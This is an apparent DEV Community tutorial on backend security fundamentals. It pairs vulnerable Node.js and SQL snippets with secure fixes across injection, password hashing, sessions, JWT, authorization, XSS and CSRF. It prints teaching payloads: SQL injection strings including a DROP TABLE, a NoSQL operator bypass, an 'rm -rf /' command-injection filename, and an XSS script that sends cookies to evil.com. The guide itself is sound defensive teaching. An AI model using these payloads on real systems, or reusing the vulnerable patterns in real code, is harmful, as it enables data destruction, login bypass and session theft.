DEV Community

MAINAK MUKHRJEE
MAINAK MUKHRJEE

Posted on

Backend Security Fundamentals (Modern Guide for Engineers)

Security is not a feature added after development. It is a design principle applied throughout system architecture, coding, and deployment.

Modern backend systems interact with browsers, databases, operating systems, APIs, and third-party services. Each interaction creates a trust boundary, and vulnerabilities appear when untrusted data crosses these boundaries without validation or control.

This guide explains the most important backend security concepts, how they are exploited, and how to prevent them using modern practices used in production systems.


Security Mindset: Think Like an Attacker

Attackers do not care about your framework or programming language. Their main question is:

What assumption did the developer make that I can break?

Common developer assumptions:

  • Users send valid input
  • Requests only come from the frontend
  • API parameters will not be modified
  • IDs cannot be guessed
  • Cookies cannot be stolen

Attackers systematically break these assumptions.

When writing backend code, ask:

  1. Where does user input enter the system?
  2. Which system will interpret this input?
  3. Can the input change the meaning of code or commands?

Injection Attacks

Injection vulnerabilities occur when user input is interpreted as executable code instead of plain data.

Backend systems interact with multiple languages:

  • SQL for database queries
  • Shell commands for OS operations
  • HTML and JavaScript for browser rendering
  • JSON APIs
  • XML or LDAP queries

If user input crosses these contexts improperly, injection attacks occur.


SQL Injection

SQL Injection occurs when user input is directly concatenated into SQL queries.

Vulnerable Example

app.post("/login", async (req, res) => {
  const { email } = req.body;

  const query = `SELECT * FROM users WHERE email='${email}'`;
  const result = await db.query(query);

  res.json(result.rows);
});
Enter fullscreen mode Exit fullscreen mode

If an attacker sends:

' OR '1'='1
Enter fullscreen mode Exit fullscreen mode

The query becomes:

SELECT * FROM users WHERE email='' OR '1'='1'
Enter fullscreen mode Exit fullscreen mode

This condition is always true, returning all users.

Destructive Injection

Attackers can also execute multiple SQL commands.

Input:

'; DROP TABLE users; --
Enter fullscreen mode Exit fullscreen mode

Resulting query:

SELECT * FROM users WHERE email='';
DROP TABLE users;
Enter fullscreen mode Exit fullscreen mode

This deletes the entire table.


SQL Injection Prevention

Always use parameterized queries.

Secure Example

const query = "SELECT * FROM users WHERE email = $1";
const result = await db.query(query, [email]);
Enter fullscreen mode Exit fullscreen mode

Benefits:

  • Query structure is separated from data
  • User input cannot change SQL logic
  • Prevents execution of injected SQL

Additional practices:

  • Use ORM frameworks (Prisma, Sequelize, TypeORM)
  • Apply strict input validation
  • Restrict database permissions

NoSQL Injection

NoSQL databases are also vulnerable.

Vulnerable Code

const user = await User.findOne({
  email: req.body.email,
  password: req.body.password
});
Enter fullscreen mode Exit fullscreen mode

Attacker input:

{
 "email": {"$ne": null},
 "password": {"$ne": null}
}
Enter fullscreen mode Exit fullscreen mode

The query becomes:

email != null AND password != null
Enter fullscreen mode Exit fullscreen mode

Authentication may succeed.

Prevention

  • Validate request schemas
  • Reject operators from user input
  • Use schema validation libraries like Zod or Joi

Command Injection

Command injection occurs when user input is passed into shell commands.

Vulnerable Example

const { exec } = require("child_process");

exec(`ffmpeg -i input.mp4 ${filename}`);
Enter fullscreen mode Exit fullscreen mode

If attacker sends:

output.mp4; rm -rf /
Enter fullscreen mode Exit fullscreen mode

Command becomes:

ffmpeg -i input.mp4 output.mp4; rm -rf /
Enter fullscreen mode Exit fullscreen mode

This can delete server files.

Prevention

Use argument arrays instead of shell execution.

const { spawn } = require("child_process");

spawn("ffmpeg", ["-i", "input.mp4", filename]);
Enter fullscreen mode Exit fullscreen mode

User input is passed as data, not interpreted as shell commands.


Authentication Security

Authentication verifies who the user is.

Weak authentication enables account takeover, data theft, and financial fraud.


Password Storage

Incorrect Approach

Storing plaintext passwords.

password: "123456"
Enter fullscreen mode Exit fullscreen mode

If the database leaks, all accounts are compromised.


Password Hashing

Passwords must be hashed.

Example using bcrypt:

import bcrypt from "bcrypt";

const hashedPassword = await bcrypt.hash(password, 12);
Enter fullscreen mode Exit fullscreen mode

Verification:

const valid = await bcrypt.compare(password, storedHash);
Enter fullscreen mode Exit fullscreen mode

Salting

Hashing alone is vulnerable to rainbow table attacks.

Salting adds randomness before hashing.

password + randomSalt → hashedPassword
Enter fullscreen mode Exit fullscreen mode

Modern libraries like bcrypt and Argon2 automatically handle salts.

Recommended algorithms:

  • Argon2id
  • bcrypt
  • scrypt

Avoid:

  • MD5
  • SHA256

These are too fast for password protection.


Slow Hashing

Password hashing should be intentionally slow.

Example:

bcrypt.hash(password, 12)
Enter fullscreen mode Exit fullscreen mode

Typical hashing delay:

100–500 milliseconds
Enter fullscreen mode Exit fullscreen mode

This is acceptable for users but extremely expensive for brute-force attackers.


Session Management

After authentication, users should not re-enter passwords on every request.

Sessions solve this.

Session Workflow

  1. User logs in
  2. Server generates session ID
  3. Session stored in database or Redis
  4. Session ID stored in cookie
  5. Each request verifies the session

Example cookie:

session_id=abc123xyz
Enter fullscreen mode Exit fullscreen mode

Secure Cookie Configuration

HttpOnly

Prevents JavaScript access.

HttpOnly
Enter fullscreen mode Exit fullscreen mode

Protects against XSS token theft.

Secure

Ensures cookies are sent only via HTTPS.

Secure
Enter fullscreen mode Exit fullscreen mode

Prevents network interception.

SameSite

Controls cross-site cookie usage.

Options:

  • Strict
  • Lax
  • None

Recommended:

SameSite=Lax
Enter fullscreen mode Exit fullscreen mode

JWT Authentication

JWT enables stateless authentication.

Example payload:

{
  "sub": "user123",
  "role": "admin",
  "iat": 171234567
}
Enter fullscreen mode Exit fullscreen mode

The token is signed with a secret key.

JWT Security Concerns

  • Revocation is difficult
  • Payload is readable (Base64 encoded)
  • Token theft allows impersonation

Secure JWT Practices

  • short token expiration (5–15 minutes)
  • refresh tokens
  • store tokens in HttpOnly cookies
  • rotate refresh tokens

Rate Limiting

Without rate limiting attackers can:

  • brute force passwords
  • overload servers

Rate Limiting Layers

Per IP:

10 login attempts / minute
Enter fullscreen mode Exit fullscreen mode

Per account:

5 failed attempts → temporary lock
Enter fullscreen mode Exit fullscreen mode

Global limits:

100 login attempts per minute
Enter fullscreen mode Exit fullscreen mode

Common implementations:

  • Redis counters
  • API gateway limits
  • Cloudflare protections

Authorization Security

Authentication verifies identity.

Authorization determines what actions are allowed.

Most backend breaches occur due to authorization mistakes.


Broken Object Level Authorization (BOLA)

Occurs when users access resources belonging to other users.

Example endpoint:

GET /orders/1002
Enter fullscreen mode Exit fullscreen mode

Vulnerable Query

SELECT * FROM orders WHERE id = 1002
Enter fullscreen mode Exit fullscreen mode

Secure Query

SELECT * FROM orders
WHERE id = 1002
AND user_id = currentUser
Enter fullscreen mode Exit fullscreen mode

Broken Function Level Authorization

Occurs when restricted functionality is exposed.

Example:

GET /admin/users
Enter fullscreen mode Exit fullscreen mode

Protection:

if (user.role !== "admin") {
  return res.status(403).send("Forbidden");
}
Enter fullscreen mode Exit fullscreen mode

Authorization Attack Types

Horizontal Privilege Escalation

User accesses other users' data.

Example:

/users/2/profile
Enter fullscreen mode Exit fullscreen mode

Vertical Privilege Escalation

User gains higher privileges.

Example:

/admin/deleteUser
Enter fullscreen mode Exit fullscreen mode

Cross-Site Scripting (XSS)

XSS occurs when malicious JavaScript executes inside another user's browser.

Example payload:

<script>
fetch("https://evil.com/steal?cookie=" + document.cookie)
</script>
Enter fullscreen mode Exit fullscreen mode

Types of XSS

Stored XSS
Malicious script stored in database.

Reflected XSS
Script embedded in URL parameters.

DOM XSS
Client-side scripts manipulate unsafe data.


XSS Prevention

Escape user input:

escapeHTML(userInput)
Enter fullscreen mode Exit fullscreen mode

Sanitize HTML using libraries like DOMPurify.

Content Security Policy example:

Content-Security-Policy: script-src 'self'
Enter fullscreen mode Exit fullscreen mode

CSRF (Cross-Site Request Forgery)

CSRF tricks a browser into sending authenticated requests.

Example attack:

POST /transfer
amount=1000
Enter fullscreen mode Exit fullscreen mode

Browser automatically includes session cookies.

CSRF Protection

  • SameSite cookies
  • CSRF tokens
  • strict CORS rules

Modern browsers mitigate many CSRF cases by default.


Security Misconfiguration

Many breaches occur due to configuration errors.

Secret Management

Never store secrets in source code.

Incorrect:

const DB_PASSWORD = "mypassword";
Enter fullscreen mode Exit fullscreen mode

Correct:

process.env.DB_PASSWORD
Enter fullscreen mode Exit fullscreen mode

Use secret managers such as:

  • AWS Secrets Manager
  • Hashicorp Vault
  • GCP Secret Manager

Debug Mode in Production

Debug logs may expose:

  • stack traces
  • database queries
  • credentials

Always disable debug logging in production.


Security Headers

Important headers:

Content-Security-Policy
X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options
Enter fullscreen mode Exit fullscreen mode

Tools like Helmet.js configure these automatically.


Secure Backend Architecture Checklist

A strong security model uses multiple defensive layers.

Key layers include:

  1. strict input validation
  2. parameterized database queries
  3. secure authentication
  4. strict authorization checks
  5. security headers
  6. monitoring and logging
  7. rate limiting

Interview Preparation: Key Questions

What is SQL Injection?
Injection of malicious SQL due to improper input handling. Prevention is parameterized queries.

Authentication vs Authorization
Authentication verifies identity. Authorization determines permissions.

Why use bcrypt or Argon2?
They are slow hashing algorithms designed to resist brute-force attacks.

What is BOLA?
Broken Object Level Authorization allows users to access resources belonging to other users.

Sessions vs JWT

Sessions

  • stateful
  • server stores session data
  • easy revocation

JWT

  • stateless
  • client stores token
  • harder revocation

Final Takeaway

Most backend vulnerabilities occur when data crosses trust boundaries without validation or access control.

Always consider:

  • Is this input trusted?
  • What system will interpret it?
  • What happens if the input is malicious?

Security is not about memorizing attacks.
It is about designing systems that assume attackers exist.

Top comments (0)

Some comments may only be visible to logged-in visitors. Sign in to view all comments.